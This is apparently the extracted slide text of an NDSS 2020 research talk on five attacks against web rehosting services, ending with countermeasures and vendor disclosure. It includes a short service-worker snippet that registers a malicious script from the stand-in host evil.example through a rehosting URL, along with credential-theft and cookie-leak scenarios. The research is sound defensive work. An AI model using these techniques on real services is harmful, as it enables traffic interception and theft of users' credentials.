melting pot of origins compromising the intermediary web
play

Melting Pot of Origins: Compromising the Intermediary Web Services - PowerPoint PPT Presentation

Melting Pot of Origins: Compromising the Intermediary Web Services that Rehost Websites Takuya Watanabe, Eitaro Shioji, Mitsuaki Akiyama, Tatsuya Mori NTT Secure Platform Laboratories, Waseda University, NICT, RIKEN API NDSS Symposium 24 th


  1. Melting Pot of Origins: Compromising the Intermediary Web Services that Rehost Websites Takuya Watanabe, Eitaro Shioji, Mitsuaki Akiyama, Tatsuya Mori NTT Secure Platform Laboratories, Waseda University, NICT, RIKEN API NDSS Symposium 24 th Febtuary, 2020

  2. • Study security flaws of web rehosting services • Present five attacks (e.g., persistent MITM) • Demonstrate feasibility on real services • Provide countermeasures

  3. A • • •

  4. A • • •

  5. A fetch A rehost

  6. ProxySite, Hide My Ass!, Hide me, Sitenable Proxy, FilterBypass, ProxFree, toolur, hidester, GenMirror, UnblockVideos, Service- α Google Translate, Bing Translator, Weblio, PROMT, Yandex.Translate, Baidu Translate, Service- β Wayback Machine, Google Cache, FreezePage

  7. URL https://google.com Browse or Direct link: https://rehosted.example/?url=https://google.com

  8. A A a.example rehosted.example B B rehosted.example b.example

  9. A A a.example rehosted.example B B rehosted.example b.example Boundary of origins ) (

  10. • URL Rewriting https://a.example → https://rehosted.example/?url=https://a.example • Rehostable File Type • HTML, plaintext • JavaScript (except some translators) • Handling Browser Resources • remain resource accesses via JavaScript • relay HTTP cookie (web proxy)

  11. A A a.example rehosted.example B B rehosted.example b.example affect evil.example rehosted.example Boundary of origins ) (

  12. A A a.example rehosted.example B B rehosted.example b.example affect evil.example rehosted.example Boundary of origins

  13. (1)visit rehosted (1)visit rehosted pages malicious page A (2) register script (2) store data in browser to browser (3) visit rehosted (3) visit rehosted pages malicious page A (4) intercept requests /responses (4) steal stored data

  14. (1)visit rehosted (1)visit rehosted pages malicious page A (2) register script (2) store data in browser to browser (3) visit rehosted (3) visit rehosted pages malicious page A (4) intercept requests /responses (4) steal stored data

  15. You are cracked! Pay 10 BTC

  16. • Powerful feature in HTML 5.1 sw.js • intercept all req./res. https://a.example/register.html Register page • Restrictions • HTTPS • Same Origin https://a.example/ * SW script, register page, scoped pages • Scoped pages • MIME Type (JavaScript)

  17. (1)visit rehosted malicious page (2) register sw.js to browser (3) visit rehosted pages A Scope: origin of web rehosting service (4) intercept requests /responses

  18. https://evil.example/ register.html sw.js self.addEventListener('fetch', function(event) { customizeResponse(fetch(event.request)); sw.js return; }); <script> navigator.serviceWorker.register('sw.js'); register.html </script> generate rehosted malicious page: “ https://rehosted.example/?url =https://evil.example/register.html”

  19. https://evil.example/ register.html sw.js self.addEventListener('fetch', function(event) { customizeResponse(fetch(event.request)); sw.js return; }); <script> navigator.serviceWorker.register(' sw.js '); register.html </script> https://rehosted.example/sw.js (404) “ https://rehosted.example/?url=https://evil.example/register.html”

  20. https://evil.example/ register.html sw.js self.addEventListener('fetch', function(event) { customizeResponse(fetch(event.request)); sw.js return; }); <script> navigator.serviceWorker.register(' https://rehosted.example/ register.html ?url=https://evil.example/sw.js '); </script> “ https://rehosted.example/?url =https://evil.example/register.html”

  21. URL for website translation (type of web rehosting): https:// translate.googleusercontent.com/translate_c?u=https://a.example&... SW attack works

  22. URL for website translation (type of web rehosting): https:// translate.googleusercontent.com/translate_c?u=https://a.example&... URL for uploaded document translation: https://translate.googleusercontent.com/translate_f

  23. • Techniques to rehost SW scripts on web translator • Discussion of path scope • Attack using AppCache instead of SW Rewriting fallback pages + cookie bomb •

  24. You are cracked! Pay 10 BTC

  25. (1)visit rehosted (1)visit rehosted pages malicious page A (2) register script (2) store data in browser to browser (3) visit rehosted (3) visit rehosted pages malicious page A (4) intercept requests /responses (4) steal stored data

  26. Latitude rehosted.example Longitude Permission is reused by User grant permission rehosted malicious page at rehosted benign pages

  27. Latitude rehosted.example Longitude Permission is reused by User grant permission rehosted malicious page at rehosted benign pages

  28. Latitude rehosted.example Longitude Permission is reused by User grant permission rehosted malicious page at rehosted benign pages

  29. User logs in to rehosted benign page Password manager auto-fills credential on and save credential in password manager fake form of rehosted malicious page

  30. User logs in to rehosted benign page Password manager auto-fills credential on and save credential in password manager fake form of rehosted malicious page

  31. 1. User visits rehosted page. 2. Page writes cookie or localStorage by using JavaScript. document.cookie = “ name=value ”; localStorage.setItem (‘ name ', value '); 3. Rehosted malicious page retrieves cookie/localStorage. 4. Attacker estimates browsing history by using retrieved data.

  32. Non-identifiable website (has only general cookie names /localStorage keys) Identifiable website (has unique cookie name /localStorage keys) 39.1 % of alexa top 10k

  33. 1. User visits rehosted page. 2. Page writes cookie or localStorage by using JavaScript. document.cookie = “ name=value ”; localStorage.setItem (‘ name ', value '); 3. Rehosted malicious page retrieves cookie/localStorage. 4. Attacker estimates browsing history.

  34. Domain: .facebook.com Cookie (written by HTTP header) Name: xs Value: XXXXXXXXXXXXXXXX Option: HttpOnly Domain: .rehosted.example Name: c[facebook.com][/][xs] Cookie (written by HTTP header) Value: XXXXXXXXXXXXXXXX Option: None

  35. Domain: .facebook.com Cookie (written by HTTP header) Name: xs Value: XXXXXXXXXXXXXXXX Option: HttpOnly Domain: .rehosted.example Name: c[facebook.com][/][xs] Cookie (written by HTTP header) Value: XXXXXXXXXXXXXXXX Option: None

  36. Domain: .facebook.com Cookie (written by HTTP header) Name: xs Value: XXXXXXXXXXXXXXXX Option: HttpOnly Domain: .rehosted.example Name: c[facebook.com][/][xs] Cookie (written by HTTP header) Value: XXXXXXXXXXXXXXXX Option: None

  37. ● Vulnerable ○ Secure

  38. ● Vulnerable ○ Secure

  39. • Separate domain names for each rehosted page https://rehosted.example/?url=a.example https://a-example.rehosted.example/ • Generate tentative URL inaccessible by 3 rd party Inhibit direct links • Disable SW and AppCache (attack I) • Use HTTPOnly (attack V)

  40. • We reported to affected service providers we examined. • 9 providers responded • 4 providers certified as vulnerability • 2 providers asked us not to be named • We plan to make risks more widely known in cooperation with JPCERT/CC.

  41. Other web rehosting services? Other attacks? • iframe [Lerner_CCS'17] • Persistent XSS [Steffens_NDSS'19] Human behaviors while using web rehosting? • Private browsing • Login • Permission

  42. • Explored security flaws of web rehosting services • Presented 5 attacks exploiting various web features • Found that 18 out of 21 services are vulnerable • Reported risk to service providers with feasible defenses

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend